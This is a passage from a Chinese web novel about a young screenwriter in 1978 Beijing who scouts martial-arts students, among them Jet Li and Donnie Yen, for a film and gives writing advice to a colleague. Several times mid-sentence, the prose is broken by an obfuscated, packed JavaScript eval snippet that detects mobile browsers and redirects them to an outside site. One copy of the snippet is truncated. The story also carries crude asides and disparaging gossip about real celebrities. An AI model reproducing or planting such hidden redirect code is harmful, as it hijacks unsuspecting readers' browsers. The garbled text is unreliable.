孙文今呵呵一笑,道:“这位高人叫于海,是一位武术名家,国内螳螂拳种里很出名的人物,他现如今在山东省体育工作大队工作,你们可以去拜访一下他,或许会有意想不到的收获。” 于海? 高远对这个人没印象,他心目中的第一武指人选是袁和平。 袁和平无法成行,第二人选是于承惠。 既然孙文今提到了于海,高远也愿意给领导一个面子,便笑着说:“成,等我考完试就和李导去一趟泉城济南,拜访一下于海老师。” 汪阳一挥手,说道:“没其他事了吧?没事就撤吧。” 两人起身告辞。 中午在食堂吃了顿饭,下午回学校参加期末考试。 高远对待期末考试还是非常重视且认真的。 他这学期也没耽误多少课,应对起考试来比较轻松。 做完试卷,检查一遍,感觉没啥大问题,他交卷出了考场。 五四操场上,顾小白已经等得心焦了。 见高远从教学楼里出来,顾小白拎着大包小包快步跑过去。 他鼻子通红,一笑直飙泪,冻得跟孙子似的,一股脑把带来的特产全塞到高远怀里。 “我可算等到你了,考完了?” “哎哟,这大冷天儿的,顾老师咋还亲自跑一趟呢?有啥事儿打个电话不就行了。” 顾小白咧嘴一笑,活脱儿一个孙红雷,道:“主编有命,必须得赶在元旦前让我给您送来杂志社全体员工的关怀。” 高远乐了,见他冻得眼泪鼻涕一起往外冒,便说道:“感谢主编和杂志社同志们的厚爱,别在这儿站着了,如不嫌弃,去我寝室里坐会儿吧。” 顾小白自是爽快答应下来,再站一会儿,他都快成冰棍了。 两人往32楼走,很快进了楼内,上楼梯推开302寝室的门。 高远是交卷比较早那一拨的,室友们这会儿还在考场上开动脑筋奋笔疾书。 他请顾小白随便坐。 顾小白拉了把椅子坐下来,打量一下环境,说道:“你们北大这宿舍也不咋的啊。” 高远把东西放在桌子上,给他倒了杯水,说道:“环境是一般,但是暖和啊。” 确实暖和,北大自己的锅炉房,重点高校,又受到教育部的重视,煤炭供应方面有优待。 顾小白喝口水暖暖身子,似乎缓了过来,笑道:“这期的《**故事会》卖爆了,销售量打破了杂志社成立以来的最高纪录,一共卖出去53万册,开天辟地头一回啊。 主编很高兴,大家也很激动。 都心知肚明,杂志之所以火爆市场,受到读者的喜爱,你的《太极宗师》功不可没。” “您过奖了,杂志卖得好,我也很高兴。” 高远心里跟明镜儿似的,顾小白这家伙千里迢迢来探望,还送东西,说穿了就是想拉拢自己,让自己继续给杂志社写东西。 当然,他也不排斥这种拉拢,今年没挣到几个钱儿,眼看又要过年了,自己家也得吃顿猪肉大葱馅儿的饺子不是? “《太极宗师》快开拍了吧?”顾小白没话找话说。 “正在筹备,等正式开拍,怎么也得到明年三月份去了。”高远回答了一句,觉得气氛有些尴尬,便主动问道:“您这次过来,还肩负着向我约稿的重任吧?” 顾小白挠头一笑,捧着茶杯说道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402283|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “就知道瞒不了您,没错儿,来之前主编特意嘱咐了,让我问问您最近有什么大作没?” 高远哂笑,道:“前段时间忙活完两本小说的改编后就回到学校上课了,这阵子又忙着复习功课参加期末考试,还真没动笔。” 顾小白满脸失望,说道:“您得写啊,您有这个才华,不充分利用起来把它转变成提高生活质量的工具,那可太浪费了。” 所谓“提高生活质量的工具”,说白了就是钱呗。 不愧是文化人,您可真会说话。 高远乐了,点头道:“我明白顾老师的意思,这样吧,等我考完试,马上就动笔,争取元旦前给贵杂志社写一篇出来。” 顾小白眼睛一亮,道:“那可太好了,您放心,我们给您预留版面……我多嘴问您一句啊,还是武打故事?” “对,还是武打故事。” “武打故事的受众群体还是很广泛的,尤其是男同志,普遍反应故事精彩,可阅读性强。对了,这次来得及,好多读者来信我没给您带过来,等下次吧,下次我给您带过来。” 高远道声谢,心说前些天收到的那一麻布袋读者来信我还没来得及看呢。 不过这年头儿,读者们是真热情,喜欢上一个作者,不仅会给作者写信,还有人往信封里塞钱塞粮票。 就跟七猫亲爱的读者们给作者投催更票,投必读票似的。 大家懂了吧? “您今晚找好住的地方了吗?要不要我跟北影厂打声招呼,您去招待所凑合一宿?”高远关心起顾小白的生活来。 “不用麻烦了,这次主编开恩,来之前就给我订好了宾馆,介绍信我也带着呢,待会儿直接去宾馆登记个房间就成。”顾小白说道。 见他暖和得差不多了,高远站起身,说道:“走吧,您大老远来一趟,我请您吃个饭。” 顾小白这次没跟高远客气,起身后问道:“这些礼品您打算就这么扔寝室里?” 高远看了看,数量还不少,有大白兔奶糖、**松饼、明珠酱鸭,还有一个东西叫崇明糕。 想了想,他每样挑出来一些,给梁左几个留下,把剩下的拎起来说道:“只能先回家一趟了,放下东西后再请你去吃饭。” 于是两人下楼。 顾小白先跟随高远回了趟家,把礼品放下后,高远就近找了家国营饭店,请他吃了顿饭。 吃过晚饭后他就离开了。 高远也没回学校,太折腾了,回家睡了一宿。 到家后老妈问他:“这是谁送的东西啊?” 高远笑着说:“《故事会》杂志社的编辑过来看我,给我带来的过节礼物。” 张雪梅乐了,“呀,有人给我儿子拍马屁了呀。” 高跃民放下报纸,也笑着说:“儿子现在可是大作家,杂志社上赶着来约稿,总不好两手攥空拳地来,那也太没诚意了。” 高远笑呵呵道:“您二老过奖了,哪有那么厉害,不跟您说了哈,我得早点休息,明天上午还要参加考试。” “……好,泡个脚赶紧去睡吧。”张雪梅到了嘴边的话又咽了回去。 老妈想问问,自家儿砸和健群那姑娘发展得如何了? 第103章 历史的车轮滚滚向前(求各种票) 高远结束期末考试的这天,也是十一届三中全会闭幕的一天。 12月23日晚上,学校组织全校师生集体收听《十一届三中全会公报》。 令高远感到熟悉的词句从播报人嘴里清晰地吐出来:不再批“左”、停止使用“以阶级斗争为纲领”的口号、不再追究**责任、团结一致向前看、将全党的工作重点和全国人民的注意力转移到社会主义建设上、改革开放…… 他清晰地感觉到:历史的车轮滚滚向前,一个全新的时代终于到来。 由大饭堂改造而成的礼堂中不时爆发出热烈的掌声和轰天的叫好声。 海淀这会儿还属于郊区,同学们的感受还不那么敏感。 二环以里早就**了,如果你仔细观察就会发现,马路上每隔一段就会有几名身穿便衣的**或是武警官兵瞪大双目观察着来往的人群。 高远和李文化一人蹬一辆自行车往什刹海方向猛蹬。 冬天的京城寒风凛冽。 高远也不耍帅了,脱下了他的将校呢,裹着件军大衣,戴着顶棉帽子,大衣领子竖起来,把带子别进另一侧的扣子上,半张脸都捂得严严实实的。 脚上那双棉皮鞋却让李文化羡慕得两眼放光。 棉皮鞋乌黑锃亮,里面是羊绒的,一看就不是凡品。 据高远说是出自于3515厂,叫什么强人牌。 这双鞋是前阵子大伯去家里吃饭时带过去的,一家四口一人一双。 可把高家两姐弟高兴坏了,在这个的寒冬里,只要双脚暖和了,全身也就暖和了。 什刹海这地儿向来是老百姓们热衷于游玩的所在。 初冬时节,只穿一条短裤的老大爷们下饺子一般往水里跳,那叫冬泳,在老同志们心目中,那是向伟人学习的神圣不可侵犯之健康运动。 水面上一结冰,你看吧,冰面上全是脚踩冰刀的青年男女,热闹至极。 这地儿西侧,距离恭王府不远,就是著名的什刹海体校。 以前叫BJ市体工大队武术班。 也是高远和李文化今天的目的地。 两人从车子上下来,在门房处出示了工作证,大爷才允许两人入内。 负责接待二位的是武术队教练武斌。 “武教练好!”进了办公室后,李文化主动向武斌伸出手。 “李导演好!”武斌跟他握了握,态度颇冷淡。 他是昨天接到的通知,说北影厂两位工作人员要来挑选演员。 打心眼儿里是不乐意的。 在他看来,练武术的跟电影演员压根儿就不沾边儿,你俩跑我这里来挑演员,不是在毁我培养多年的好苗子么? 但上级领导让他好生接待的指示他也不敢违抗,就只能摆张臭脸试图让这二位知难而退了。 高远冷眼旁观,差不多能猜到这位心里怎么想的。 他也没打算抢李文化的活儿干,毕竟李文化才是《太极》这部影片的导演,必要的尊重还是得给的。 “武教练,我们的来意领导都跟您说了吧?”李文化直言不讳道。 武斌点点头,道:“领导昨天给我打了电话,说是二位要来看几个孩子。我说话直您二位别介意啊,翻了年就是全运会,我们武术队的孩子们正在加紧训练,这可是事关能不能为全市争得荣誉的大事,容不得有一丝懈怠啊。” 李文化岂能听不出他话语中的潜台词来,人家这是不欢迎自个儿啊,嫌咱们两个耽误了人家的正经工作。 他笑容微苦,看了眼高远,有些不知道该如何表达了。 高远暗自叹息一声,脸上却笑容灿烂地说道:“我早就听人说过咱们体校人才济济,武教练您更是全体教练员中的王牌,带出了一大批优秀青年选手。 全运会嘛,我相信在您的带领下,咱们体校的年轻人们一定能够取得佳绩再创辉煌的。” 像武斌这种头脑简单四肢发达的家伙,你得捧着他唠,把话说到他心缝里去,啥事都不难办。 你若是一门心思跟他讲大道理,苦口婆心劝他服从组织安排那就完犊子了,他让人把你打出去你也一点招都没有。 听了高远这番话,武斌乐了,“小同志过奖了,都是大家刻苦训练的功劳,您怎么称呼?” “我叫高远,是北影厂的一个编剧。” 高远自我介绍了一下。 武斌呵呵笑道:“哎呀,高远同志很年轻啊,这么年轻就当编剧,一定很有才华吧?” 李文化接茬说道:“不知道武教练看没看过《瞧这一家子》。” “我看了,那片子贼逗乐,也不好买票,电影院门口每天都排大队,我也是好不容易才弄到了两张票,陪我对象去看的,可笑死我了。” “就是高远写的。” “哦哟,真的假的?” “真的不能再真了。” 武斌握着高远的手,情真意切道:“啥也别说了,就冲小高同志你写出这么个人民群众喜闻乐见的故事来,今天您二位想看谁,我带两位去。 小青年们都在训练场呢,二位跟我走吧。” 瞧,这就把事儿办成了么。 所以说啊,江湖中不只是打打杀杀,还有人情世故。 三人走进一座训练馆,里面热火朝天。 一群十几岁的少年舞枪弄棒,也有几个赤手空拳两两对练。 “您二位瞧,那姑娘叫葛春燕,是女队的队长。这姑娘厉害着呢,八卦掌第五代传人,混元太极拳第二代亲传弟子,我们队伍里很多男孩子都打不过她。” 武斌边走边介绍着:“瞧见那位没有,王群,男队队长。一根红缨枪,在他这个年龄段的级别赛中全国无敌。” 高远和李文化纷纷点头,暗自观察。 武斌这时候才问道:“二位到底为谁来的?有个目标没?” 高远笑着说:“我们想看看李连杰。” 武斌笑得有些苦涩了,低声道:“你们要挑别人,就冲小高同志的面子,我二话不说就放人,但是小李……他可是我们全队的宝贝,年纪轻轻就拿了不少全国冠军,还代表国家出访过美国。 给国家挣得过巨大的荣誉。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李连杰闻言,眼睛猛地一亮,点头如捣蒜,“我想啊,拍电影当明星谁不想。” “诶诶,你淡定,淡定。”武斌连忙让他打住,这孩子是个练武的奇才,但脾气太直率,说白了就是莽,心里藏不住事儿,啥都往外说。 高远和李文化也在打量他。 愣头青一个。 不过却很符合原著作品中杨昱乾一角的描述。 李文化跟高远嘀咕道:“好苗子啊,长得也清秀,你瞧他这张脸,一定很上镜,高老师好眼光。” 高远点头说:“我也觉得他蛮有明星相的,怎么说呢?明星相这个东西很玄学,有些人长得明明很好看,演技也很棒,但就是火不了。 有些演员乍一看平平无奇,但是摄影机往她脸前面一怼,诶,那个味道就出来了。 这小孩儿可以的,有当大明星的潜质。” “喂,你说谁是小孩儿呢?”听了高远的话后,李连杰还不乐意了。 第104章 一瓢凉水泼下来 高远看着他,笑了,“说你呢,咋的,你不服啊?” “我看你比我也大不了几岁!” 李连杰梗着脖子说道,对于比自己帅的男人,我顶你两句你能怎么地? “小李,别放肆。” 武斌低声斥了他一句,扭头对高远憨厚一笑,道:“这小子年龄小,小高同志别介意啊。” “不会。” 高远怎么可能跟他介意呢,李连杰是个什么玩意儿他可太清楚了。 抛妻弃子、更改国籍、壹基金,争议不断,上辈子网上吵翻了天。 但独有一点,这家伙眼光独到,利智是真的顶! 看着青皮版的李连杰,高远心说,未来的大明星小时候就是个不省心的货啊,拿了几个全国冠军就不知道天高地厚了。 不过没关系,哥们儿有的是办法教你做人。 他用眼神询问李文化此人怎样?入您法眼吗? 李文化用微微点头、笑容满面来回应高远,这小伙子我相中了,是饰演男主角杨昱乾的不二人选。 高远对武斌说道:“武教练,具体工作,您和李导先聊着,我再去看几个年轻人。” 武斌咧嘴一笑,道:“去你的吧,看中了谁,跟我说一声就成。” 这话听着像骂人。 高远去了! 他从军大衣口袋里掏出个小本本来,还有一支笔,四处搜寻,聊两句,跟葛春燕聊聊,然后记一笔,又跟王群聊聊,再记一笔。 这些人留待将来必有大用,说不定在《太极》中就能用到。 现在认识一下,算提前储备人才。 大家一听说他是拍电影的,还是北影厂的编剧老师,也都很热情,将他包围起来,问,刘小庆也是贵厂的职工吧?高老师认识她吗? 李秀明长得很漂亮,**和电影上差距大吗? 《瞧这一家子》可太逗了,我们集体去看的,高老师参与过这部电影的拍摄吗? 你们还挺专业。 高远干脆在塑胶地板上盘腿坐了下来,笑着回答道:“小庆老师的确是我们厂的演员,我跟她有过合作,她人特大气,特好相处。 秀明老师**比电影上还要漂亮。 《瞧这一家子》就是我写的,拍摄工作我是全程参与了的。” 年轻人们顿时:“哇!” 眼冒金星。 “那,高老师,您能不能帮我要一张小庆老师亲笔签名的电影海报啊?” 说这话的姑娘不知道是因为运动量大,还是羞涩的缘故,脸红红的,期待的目光望着高远问道。 现在还不流行要明星的签名照,因为照相机也是个稀罕物,普通老百姓消费不起。 但是谁要有一张大明星的亲笔签名海报,起码能吹三年。 高远看看这姑娘,总觉得有点眼熟,问道:“你贵姓?” “您客气了,免贵姓黄,我叫黄秋燕。”姑娘大大方方说道。 原来是你啊,李连杰的前妻。 高远又记了一笔,点点头,说:“小庆老师目前正跟着摄制组在外地拍戏,等她回来后我找她要,到手后让你们武教练给你带回来。” 黄秋燕欢喜一笑,说道:“那就多谢高老师了。” 高远说不客气,然后,他又发现一位。 也是十几岁的年纪,似乎不太合群,一个人在训练馆逼仄的角落里练拳,不过长得真俊,气质独特。 “诶,那个小同志是……”他的目光递过去,不确定地问道。 “哦,他叫甄子丹,今年刚来的,听说是个美国华侨,打小崇拜李小龙,喜欢中国传统武术,所以一回国他母亲就把他送过来学拳了。 这小子普通话说得贼烂,也不爱跟我们交流,性格挺孤僻的。” 王群简单介绍了一下。 还真是他啊。 高远乐了,在小本本上写下甄子丹的名字,又在名字地下画了条线,意味着重点关注。 他的脑子也活跃起来,不自觉就想起了那部大名鼎鼎的电视剧《黄飞鸿之男儿当自强》。 李连杰饰演的黄飞鸿大战甄子丹饰演的纳兰元述。 哎呀,经典名场面啊。 对了,能不能写一写黄飞鸿啊? 高远向顾小白承诺过,节前要写个故事给他,黄飞鸿无疑是个很不错的题材,这故事写出来,不仅能拍电影,也能扩展改编成电视剧。 当然,以现如今国内家庭电视机的保有量,电视剧产业并不繁荣,但用不了几年就会昌盛起来。 他在心里暗暗划了一笔,这事儿有的琢磨。 那边厢,李文化也和武斌、李连杰交流完毕。 李连杰本人是非常乐于演电影的,这孩子打小就不安分,练武那么枯燥,哪有拍电影有意思。 武斌口头上答应了出任剧组的武术指导,但嘴上仍旧对李文化说,李连杰能不能顺利出演,他说了不算,还得上报领导同意。 李文化表示了充分的理解,说等待他的好消息。 他喊了高远,两人又跟武斌寒暄了两句,告辞离开。 高远手贱,走前还摸了摸李连杰的青皮脑袋,被这孩子灵巧地躲开。 “你长得帅了不起啊?长得帅想摸谁就摸谁啊?有本事你摸刘小庆一下我看看!”破孩子瞪着他挑衅道。 高远突然觉得有点犯恶心,健群姐姐还成,小庆老师,我真不敢摸。 我怕一摸她真敢上。 高远回瞪着李连杰,破孩子,等你进组的,有你哭的时候。 他悻悻地溜了。 两人走后,训练馆里热闹起来。 大家围着李连杰七嘴八舌地问。 李连杰骄傲地说:“李导演是来邀请我演电影的,就是那个高远,写了个剧本叫《太极宗师》,讲一个年轻人闯荡江湖的故事。导演觉得我比较适合演男主角,这不就找过来了。” “哇,这你岂不是要成大明星了?”王群两眼放光道。 这也不是个凡人,他后来也演过不少武侠剧,《无敌鸳鸯腿》《少年张三丰》《侠女十三妹》等等。 李连杰挠着头皮嘿嘿一笑道:“什么大明星不大明星的,我的根永远在咱们武术队。” 高远若是听了这句话,一定会怼他一句,你的根会永远泡在利智深千尺的潭水里。 这帮少男少女们心里却长了草,拍电影当明星啊,这谁不乐意啊。 这可是为数不多的改变固化阶层的大好机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402285|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会。 所谓“固化阶层”,在这个年代说穿了,工人就是工人,医生就是医生,老师就是老师,跨界,是被认定为不安分的表现,很遭领导们愤恨。 评先评优你就别想了,根本与你不沾边儿,哪儿凉快哪儿待着去吧。 “别聊了,该干嘛干嘛,不想训练的中午不给饭吃!” 武斌大喊一声,少年少女们面面相觑,却也听话,继续操练起来。 高远和李文化又是一路狂蹬回到了北影厂。 李文化苦笑道:“高儿,你不心疼我都替你心疼了,你这辆大28这些年可跟你遭老罪了,就算结实,质量好,也架不住你这么糟践啊。” 看着大冬天一脑门子汗的李导演,高远哈哈大笑,拍着车座子说道:“我平时也没少保养啊,两天擦一回,一周上一次油,一个月准准的紧一次辐条。” 两人来到主楼文学部。 厂里是有策划这个职位的,隶属于文学部管理,主要负责审阅剧本,建组后跟导演、演职人员们沟通,协助导演管理一些剧组的事务等等。 权责不怎么明确,但权力不小。 施雯心老太太给高远弄了张办公桌,就在她对面摆着。 高远进来后见办公室里只有江淮延和梁晓声两位,便问道:“江老师,其他老师们呢?” 江淮延端着个大茶缸子滋溜滋溜喝着茶,闻言笑道:“这不马上过节了么,厂里今年的生产任务也都完成了,不忙,大家就各自去干点私事儿了。” 高远明白,俗称:拿着工资干私活儿。 这种现象在这个年代屡见不鲜。 “你们俩这是跑了趟什刹海体校?”江淮延问道。 高远点头道:“对,刚从体校回来。” “谈妥了?” “也不敢说谈妥了,教练做不了主,还得请示领导,让我们回来等消息。” 江淮延蹙着眉,忧心忡忡道:“体育和文艺是两条战线,那些年轻人又都是国家的宝贝,我看这事儿没那么简单,即便体校的领导们肯放行,市体委领导答不答应还两说着,你们俩得做好被否决的思想准备啊。” 本来心情还不错的高远和李文化一听这话,脸色立马垮了下来。 “唉……是这个道理。”李文化说道:“江主任提醒得太及时了,看来,我们还得找关系做做体委领导们的工作。” 江淮延提了文学部的副主任,这是准备要接施雯心的班了。 高远满脸愁容道:“如果真像您说的这样的话,麻烦可就大了,我和李导元旦过后还得去地方上挑选演员呢,各地的武术队、专业体育院校若是都不配合,咱们这部片子不就彻底黄摊子了么? 难不成,还得让国家体委的领导们出面帮忙协调才能成行?” 江淮延一笑,说道:“小高,你要学会抓住主要矛盾,解决主要矛盾嘛,这个矛盾的要点在哪儿?说穿了不在体委,也不在电影局,在高层领导如何看待这部影片。 汪厂长明天要去海子里向廖公汇报工作,你现在去找老厂长一趟,把面临的困难向老厂长说一说,让他带话给廖公,只要廖公发话了,问题不就解决了么。” 第105章 工具人 江淮延这么一提点,高远瞬间通透了。 但他不想去找汪阳,虽然他非常敬重老厂长,但两人前几天闹得不是很愉快。 他也清楚老厂长胸怀宽广,不会跟自己一个毛孩子一般计较,但有点抹不开面子。 高远怂恿李文化道:“李导,您才是这部片子的核心人物,这个任务就交给您吧。” 李文化五十岁的人了,怎么可能搞不清楚高远心里那点弯弯绕啊。 意味深长打量他一眼,老李嗤了声,愤然起身,说道:“你小子还知道要脸,就是个不小的进步!” 话音撂下,他倒背着手,迈着四方步去觐见厂长了。 江淮延放声大笑起来。 高远也挠头笑着,瞧一眼梁晓声,发现老梁正伏案奋笔疾书,好奇心一起,他走过去看了看。 “哟,搞创作呢,写的啥啊,我??。”说着,他伸手去拿稿纸。 梁晓声拿这货一点办法都没有,把胳膊架起来,让他拿走,说:“多提宝贵意见啊。” “可别这么说,互相学习,互相学习。” 高远嘴上客气着,拿起来一看,是个短篇,还是当下正在流行的伤痕文学。 讲一对知青情侣在青山黑土中面对贫困、艰难的岁月如何携手共渡难关的故事。 老梁的笔力没得说,语言简洁,但有力量。 可这个故事最大的毛病在于,过分渲染悲剧色彩了。 故事的结尾是,女知青为了让心爱的男朋友生存下去,在村长的劝说下被迫嫁给了妻子亡故,还带着三个孩子的会计,以换取粮食让男朋友苟活。 谁承想那会计是个变态,每一天都在无休止地折磨女知青。 女知青承受不住折磨,从悬崖上一跃而下,结束了年轻的生命。 这让高远的脑海中不由浮现出一个小日子爱情动作片的经典桥段来。 丈夫欠债,妻子为挽救丈夫的生命不惜用身体抵债。 太太! 嗯嗯啊啊…… 虽不恰当,却有这种既视感。 这货看完,把稿子往桌子上一拍,叹声气,一言不发走回到办公桌前,拉开椅子坐下了。 他记得,老梁要等到1982年,才会凭借《这是一篇神奇的土地》成名,他写的这个小说获得了全国优秀短篇小说奖。 格调高昂、豪迈、洋溢着鼓舞人们积极向上的激情。 再看眼下这篇,什么玩意儿啊? 全篇上下为了强调苦难而去描写苦难,完全没有了广大知识青年们为了支援农村建设所表现出来的热血和赤诚。 用本山大叔的话说,这叫:悲哀!真让我替你感到悲哀! 一见他这副做派,梁晓声傻眼了,眼珠子盯住稿子,又抬头看看他,语气茫然且慌张道:“有什么问题吗?” 高远淡淡地说道:“你先拿给江老师看看吧。” 梁晓声把稿子递给江淮延,恭敬地说道:“主任,请您指点一二。” 江淮延接过去,点点头后翻看起来,越看眉头越紧,最后化为一声长叹,言辞恳切道:“晓声啊,咱们都是自己人,我就有话直说了。” “您请讲。” “伤痕文学不是全面否定过去,更不需要彻底揭露人性阴暗的那一面,你这个短篇,从立意上就搞错了。你想表达什么思想?女知青人性的光辉,还是大队会计的卑鄙恶劣? 我想你自己都没搞清楚吧?” “您说得没错,我原本的想法是,通过两人的对比去揭露那个特殊年代人性的阴暗,让读者们回忆起那时候经历过的苦难和自己曾经的青春岁月,核心思想是不要忘记过去,也得展望未来,结果弄巧成拙了。” 高远这时候插了一句,毫不留情地撕下了他的面具,道:“扯什么犊子呢?你这是让读者们不要忘记过去吗?你这根本就是彻底否定过去! 又赤裸裸地将那个年代人性的阴暗面展现在读者面前! 根本就是个前后矛盾的作品,我不客气地说,毫无思想性可言!” 江淮延又叹息一声,道:“我同意小高的话,这篇作品不发表还好,一旦被哪家杂志社录用发表了,你知道会引发多大的争议吗?农民兄弟看过了,不找到厂里来堵门都是客气的。” 梁晓声脸皮子通红,起身,走到江淮延办公桌前,拿起稿纸撕得粉粉碎,沮丧道:“让二位这么一说,我就不是个搞创作的材料啊。” 自信心受到打击了。 高远一乐,看一眼江淮延,见他也乐,便说道:“别灰心嘛,创作这个东西,也不是一两天能练就的。毕竟不是每个人都是我,纯纯的一代天才,好故事在大脑里一转就信手拈来。 你得练啊,要多读书,多看报,多写,才能练出一副好文笔来。” 梁晓声丧气道:“关键是我也没少写啊。” 高远眼珠儿一转,说:“你写作的方向错了。” “哦?你详细说说。” “不用详细,你别看现如今伤痕文学大行其道,在文学界掀起了滔天巨浪,引领着各路作家们纷纷跟风效仿,但你不能否认,它所展现出来的,更多的是对历史疮痍和个体悲剧命运的无情揭露。 当然,我不是说这种揭露不正确。 但是你从另一面去看,就会发现,这种批判,这种揭露,对社会进步是无法起到推动作用的。 这也就是我说的,你的创作方向搞错了。” 见梁晓声若有所思,江淮延笑眯眯冲他挑起了大拇指,高远喝口茶,继续哔哔:“伤痕文学,其实还可以被称作反思文学,反思文学里面,我认为还应该有一个分支,叫做知青文学。” 梁晓声闻言猛地抬起头,两眼放光望着高远,声音颤抖道:“高老师,你继续,别停!” 高远不紧不慢地点了根烟,抽一口后说道:“个人浅见啊,知青文学的格调应该是积极向上的,应该突出一个知识青年积极响应领袖号召上山下乡,在艰难困苦的环境中战天斗地, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402286|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 战胜困难,勇于奉献的崇高精神。” 这是高远第一次完整地向他人阐述他创作一部作品的核心思想观点。 江淮延笑的眉毛都飞了起来。 梁晓声激情澎湃、热血沸腾,仿佛找到了创作密码。 高远继续道:“我还有个建议啊,你先别着急写这类文章,先从通俗文学开始练习吧,写点俗的东西风险小,不容易崴泥。” 梁晓声踯躅道:“我不会写啊,从来没写过。” “咱俩合著如何?我写大纲和开头,你顺着我的思路往下写,稿费平分。”这货终于露出了狐狸尾巴。 你以为他白话了一顿只是为了给老梁的创作思路提供启发吗? 错了,这个拔根眼睫毛都能当哨吹的家伙才没有那么好心。 手头上活儿不少,不找个工具人,自个儿得忙死。 原本梁晓声不感兴趣,一听高远说稿费平分,他就感兴趣了,忙不迭点头道:“我可以试试,不过先说好啊,我若是写得达不到你的要求,你得负责修改,也得给我多提意见并负责指导。” “没问题,这两天我就拿出大纲和前文来,还是武打故事,你先试着写个几千字。” “好,我等你的大纲和开头。” 江淮延乐的都不行了,他显然看清了高远的真面目,这小子,把晓声卖了,晓声还乐颠颠地帮他数钱呢。 磨蹭到下班,高远跟江淮延打声招呼回了家。 蹬上车子,看着大街上来往的人群,他思绪如潮,1978年即将过去了,他特想留点纪念。 这个时代有太多值得被记忆的东西了,比如说社会风貌,人们脸上洋溢的笑容,街道景象、风物…… 家里只有姐姐在,各大院校都进入了寒假模式,但老爸依然坚守在工作岗位上。 老妈更忙,一天最少三台手术,今年还提了外科副主任。 高雅已经把饭做好了,见高远回来,招呼他吃饭。 “姐,我想买台相机,你说行不?”高远端起饭碗,扒拉一口米饭后问道。 高雅给他夹了一筷子土豆丝,笑着反问道:“怎么突然产生这个想法了?” 高远说道:“想记录一点东西,拍拍街景、群像什么的,算是留个时代印记吧。” 高雅也来了兴趣,说道:“这想法不错啊,拍点照片,等咱俩岁数大了翻出来看看,也是这个伟大变革时代的亲历者,哇,心里肯定有巨大的满足感和自豪感。” “英雄所见略同,我也是这么想的。” “相机可不好买吧,得用券,也不少钱呢。” “是啊,我这不也发愁呢嘛。” 高雅想了想,笑道:“要不,咱俩到委托商店瞧瞧去,说不定哪个人急等着用钱,把相机寄售给委托商店代售,让咱俩碰上了呢。” 高远闻言也是眼睛一亮,道:“好主意,咱下午就去吧。” 高雅点头道:“那赶紧吃饭。” 高远嗯嗯两声,大口扒拉起来。 第106章 前门情思大碗茶 姐弟俩刚吃完午饭,把餐桌收拾干净,敲门声响起。 高远疑惑,走过去开门一看,门外站着王好为导演。 “你小子有没有正事儿啊?说好的今天要把男主演的人选交给我,我等了你一天都没把你等过来,你忘到脑瓜子后面去了是吧?非得让我主动找你一趟,显你不可或缺是吧?”王导没进屋,愤怒,先喷上了。 “哎哟导演,我这不是太忙了么,厂长交代我,必须得把《太极》的选角工作做好,我就没顾上。您别生气,请进,请进。本子我改好,重新做了人物设定,您稍等,我拿给您看看。” 高远说着,奔里屋,去拿修改好的剧情本子。 王好为进了房间,一眼瞧见高雅,双眼一亮,道:“呀,好漂亮的姑娘啊,你是……高远的姐姐吧?” 高雅羞赧一笑,道:“导演您好,我叫高雅,您快请坐,我给您倒茶。” 王好为拉着高雅的手,笑呵呵说道:“别忙活了,拿完本子我就走,组里还一大堆事儿呢。” “那也得坐一会儿啊,再忙也不差这一时半会儿的。”高雅热情地说道。 王好为这才在沙发上坐下了。 高远走出来,将修改好的剧本递给她,也坐下后说道:“既然找不到年龄合适的演员,没办法,我改了个设定,把男主角的年龄往下降了降,其他方面改动不大。 这样一来,演员的选择面就广了。 我属意的有两个人选,一个叫濮存昕,一个叫杨立新,两人都是人民艺术剧院的,导演可以去联系一下。” 王好为看了看他修改后的新剧本,点头表示满意,看到濮存昕的名字,她问道:“这个濮存昕,是人艺的老院长苏民老师的孩子吧?” 高远点头道:“对,我记得苏院长原名叫濮思洵,祖籍是江苏溧水人。” 王好为也点着头,道:“濮存昕,我还真认识他,嗯,这名演员你选得好,那家伙,戴上副眼镜就是个斯文败类。” 高远和高雅都笑了起来。 王好为又说道:“至于这个杨立新,我一起看看,比较比较吧,我现在就去人艺,走了啊。” “在坐会儿呗。” “不了,尽快把人选定下来,年前封机不拍了,等年后再开机,还有一堆事情呢。” 高远姐弟俩陪同王好为下了楼,他俩要去委托商店逛一逛。 海淀这一块儿还没有,要去委托商店,得进城。 